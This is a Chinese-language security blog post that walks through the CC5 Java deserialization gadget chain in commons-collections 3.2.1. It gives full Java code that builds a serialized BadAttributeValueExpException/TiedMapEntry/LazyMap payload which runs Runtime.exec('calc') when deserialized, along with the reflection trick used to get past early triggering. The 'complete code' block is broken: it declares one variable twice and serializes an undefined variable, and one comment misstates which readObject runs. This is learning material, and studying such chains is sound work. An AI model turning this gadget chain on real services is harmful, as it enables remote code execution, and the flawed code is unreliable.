Java反序列化CommonsCollections篇-CC5

前言

本质上也就是前面几条CC链改来改去,换了一个入口类。

CC5

环境搭建

  • JDK8u65
  • commons-collections 3.2.1
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

利用链分析

从上图可以看出来还是通过LazyMap调用ChainedTransformer.transform()最终调用InvokerTransformer.transform()执行代码

思路是一样的,找谁调用了get()方法,2000+结果,凭我们自己可能很难找到了,ysoserial中最终是找到了TiedMapEntry.toString()

image-20240602153105891

TiedMapEntry.toString调用了getValue()方法

image-20240602151949039

TiedMapEntry.getValue()最终调用了get()

image-20240602152006941

那接着就是找谁调用了toString()方法最好是在readObject()中,最终找到了BadAttributeValueExpException.readObject()

image-20240602152124747

CC5编写

从上面的图也可以看出来后半部分链其实和CC1或者CC6是一样的,复制粘贴没什么好说的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);

//TiedMapEntry放入lazymap,TiedMapEntry的构造器中第一个为Map,第二个为Object。所以map就可以传入我们构造好的lazymap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, 1);

//构思是反序列化自动执行BadAttributeValueExpException.readObject(),因为BadAttributeValueExpException放入的是tiedMapEntry,那就会执行tiedMapEntry的readObject()
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

序列化自动执行的问题

写了上面的代码发现,序列化的时候就自动执行了。调试一下就就知道,在BadAttributeValueExpException的构造器直接调用了toString()方法,导致序列化的时候执行完毕。

image-20240602154714433

解决办法就是通过反射先放一个没用的东西在里面,序列化之前再把tiedMapEntry放进去。

BadAttributeValueExpException也支持序列化,虽然当前类没有直接继承Serializable接口,但是它祖类Throwable继承了Serializable接口,所以BadAttributeValueExpException也支持序列化。

1
2
3
4
java.lang.Object
↳ java.lang.Throwable
↳ java.lang.Exception
↳ javax.management.BadAttributeValueExpException

image-20240602152143747

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);

//TiedMapEntry放入lazymap,TiedMapEntry的构造器中第一个为Map,第二个为Object。所以map就可以传入我们构造好的lazymap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, 1);

//构思是反序列化自动执行BadAttributeValueExpException.readObject(),因为BadAttributeValueExpException放入的是tiedMapEntry,那就会执行tiedMapEntry的readObject()
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

//反射修改值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class<? extends BadAttributeValueExpException> c = badAttributeValueExpException.getClass();
Field declaredField = c.getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(badAttributeValueExpException, tiedMapEntry);


serialize(badAttributeValueExpException1);
unserialize("ser.bin");


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);

}


public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

参考链接

Java反序列化CommonsCollections篇(四)-摆烂的完结篇


Java反序列化CommonsCollections篇-CC5
https://sp4rks3.github.io/2024/06/02/JAVA安全/反序列化/CC5/
作者
Sp4rks3
发布于
2024年6月2日
许可协议